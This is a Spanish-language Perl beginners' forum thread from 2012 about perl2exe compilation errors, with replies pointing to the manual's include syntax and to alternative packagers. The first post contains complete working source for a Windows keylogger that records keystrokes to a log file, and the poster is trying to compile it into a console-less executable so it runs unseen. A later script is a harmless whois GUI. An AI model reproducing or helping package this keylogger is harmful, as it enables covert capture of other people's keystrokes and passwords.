• Publicidad

Error con perl2exe

¿Apenas comienzas con Perl? En este foro podrás encontrar y hacer preguntas básicas de Perl con respuestas aptas a tu nivel.

Error con perl2exe

Notapor BigBear » 2012-04-18 15:42 @696

Hola tengo el siguiente código.

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. #!usr/bin/perl
  2. #KeyCagator (C) Doddy Hackman 2010
  3.  
  4. use Win32::API;
  5.  
  6. my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );
  7.  
  8. while (true) {
  9.     print "cerra la consola con perl2exe -gui\n";
  10.     for my $num ( 0x30 .. 0x39 ) {
  11.         if ( dame($num) ) {
  12.             savefile( "logs.txt", chr($num) );
  13.         }
  14.     }
  15.  
  16.     for my $num ( 0x41 .. 0x5A ) {
  17.         if ( dame($num) ) {
  18.             savefile( "logs.txt", chr($num) );
  19.         }
  20.     }
  21.  
  22. }
  23.  
  24. sub dame {
  25.     return ( $come->Call(@_) & 1 );
  26. }
  27.  
  28. sub savefile {
  29.     open( SAVE, ">>" . $_[0] );
  30.     print SAVE $_[1] . "\n";
  31.     close SAVE;
  32. }
  33.  
  34. #Mail : lepuke[at]hotmail[com]
  35. #Blog : doddy-hackman.blogspot.com
  36. # ¿ The End ?
  37.  
Coloreado en 0.003 segundos, usando GeSHi 1.0.8.4


El problema es que cuando quiero convertirlo a exe usando per2exe me muestra este problema:
Imagen

Y en el ejecutable:
Imagen

¿ Alguien me puede ayudar ?

P.D.: el script lo he probado antes de usar perl2exe y funcionaba bien. El problema solo se da cuando uso perl2exe.
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Publicidad

Re: Error con perl2exe

Notapor explorer » 2012-04-18 16:32 @730

Te lo dice en la segunda pantalla: «Consulta el manual de perl2exe cuando te salga el error de: No puedo localizar tal módulo.»

Creo que de esto hemos hablado en otros hilos...

Usa el sistema de búsqueda. Busca por 'perl2exe' y 'módulo'.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14486
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Error con perl2exe

Notapor BigBear » 2012-04-18 20:10 @882

He buscado en el foro y en Google y no encuentro la respuesta. Leí el manual perl2exe user manual y apliqué de esta forma un código que usa el módulo de whois de acuerdo de como dice en el manual.

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. #!usr/bin/perl
  2. #perl2exe_include Net::Whois::Raw
  3. #Coded By Doddy H
  4. #ppm install http://www.bribes.org/perl/ppm/Net-Whois-Raw.ppd
  5.  
  6. use Tk;
  7. use Tk::ROText;
  8. use Net::Whois::Raw;
  9.  
  10. if ($^O eq 'MSWin32') {
  11. use Win32::Console;
  12. Win32::Console::Free();
  13. }
  14.  
  15. my $new = MainWindow->new();
  16. $new->geometry("390x300+50+50");
  17. $new->title("Test");
  18. $new->resizable(0,0);
  19.  
  20. $new->Label(-text=>"Dominio : ",-font=>"Impact2")->place(-x=>"10",-y=>"10");
  21. my $dom = $new->Entry(-width=>"30")->place(-x=>"85",-y=>"13");
  22.  
  23. my $console = $new->ROText(-width=>36,-height=>15)->place(-x => 15, -y => 50);
  24.  
  25. $new->Button(-text=>"Buscar!",-command=>\&buscar,-width=>"10")->place(-x=>290,-y=>"50");
  26. $new->Button(-text=>"Limpiar",-command=>\&limpiar,-width=>"10")->place(-x=>290,-y=>"80");
  27. $new->Button(-text=>"Salir",-command=>\&salir,-width=>"10")->place(-x=>290,-y=>"110");
  28.  
  29.  
  30. MainLoop;
  31.  
  32.  
  33. sub buscar {
  34. $console->delete("0.1","end");
  35. my $target = $dom->get;
  36. $new->update;
  37. $console->insert("end",whois($target));
  38. $new->update;
  39. }
  40.  
  41. sub limpiar {
  42. $console->delete("0.1","end");
  43. $dom->delete("0.1","end");
  44. }
  45.  
  46. sub salir { exit 1;}
  47.  
  48. # ¿ The End ?
Coloreado en 0.002 segundos, usando GeSHi 1.0.8.4


y sigue dando error , ¿ cómo soluciono el problema ?
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Re: Error con perl2exe

Notapor explorer » 2012-04-19 02:50 @160

Pues has leído muy mal el manual, porque es justamente la nota número 4 del manual.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14486
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Error con perl2exe

Notapor BigBear » 2012-04-19 09:30 @437

Sí, mi inglés es peor que mi español.

Leí lo que me señalaste y agregué esto al código.

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. #perl2exe_include File/Glob
  2. #perl2exe_include Net/Whois/Raw
  3. #perl2exe_include Net/Whois/Raw/Common
  4.  
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


Y el ejecutable me dice esto:
Sintáxis: [ Descargar ] [ Ocultar ]
Using text Syntax Highlighting
Use of uninitialized value in pattern match (m//) at PERL2EXE_STORAGE/utf8_heavy
.pl line 211.
Use of uninitialized value in scalar assignment at PERL2EXE_STORAGE/utf8_heavy.p
l line 227.
Use of uninitialized value in pattern match (m//) at PERL2EXE_STORAGE/utf8_heavy
.pl line 228.
panic: swash_get doesn't expect bits 4 at PERL2EXE_STORAGE/Net/Whois/Raw/Common.
pm line 414.
Compilation failed in require at PERL2EXE_STORAGE/Net/Whois/Raw.pm line 4.
Compilation failed in require at C:\Perl\perl2exe\whois.exe line 11.
BEGIN failed--compilation aborted at C:\Perl\perl2exe\whois.exe line 11.
 
Coloreado en 0.000 segundos, usando GeSHi 1.0.8.4


¿ Me podrías explicar cómo lo arreglo ?
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Re: Error con perl2exe

Notapor explorer » 2012-04-19 10:23 @474

Que vaya por delante que yo no soy un experto en esta utilidad porque, principalmente, no me hace falta.

Yo solo te puedo decir qué es lo que dice el manual.

Y el manual, en la misma nota 4, dice que no, que lo has escrito mal.

O es así:

#perl2exe_include "File::Glob"

o es así:

#perl2exe_include "File/Glob.pm"

(de este último ejemplo tengo mis dudas. A lo mejor hay que poner la ruta completa a Glob.pm).
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14486
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Error con perl2exe

Notapor BigBear » 2012-04-19 10:42 @487

Ya lo he probado de las dos formas diferentes y me sigue dando error, entonces, ¿no me podes recomendar alternativas a perl2exe para Active Perl? Escuche sobre pp pero no sé si también me sirve en Windows con ActivePerl.
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Re: Error con perl2exe

Notapor explorer » 2012-04-19 12:41 @570

La propia ActiveState tiene el Perl Dev Kit (PDK) con el que podrás crear los ejecutables.

En otros hilos hay más comentarios sobre pp y PAR. Pero creo que en CPAN han salido más opciones... no me acuerdo de los nombres. A lo mejor me confundo con PAR::Packer.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14486
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España


Volver a Básico

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado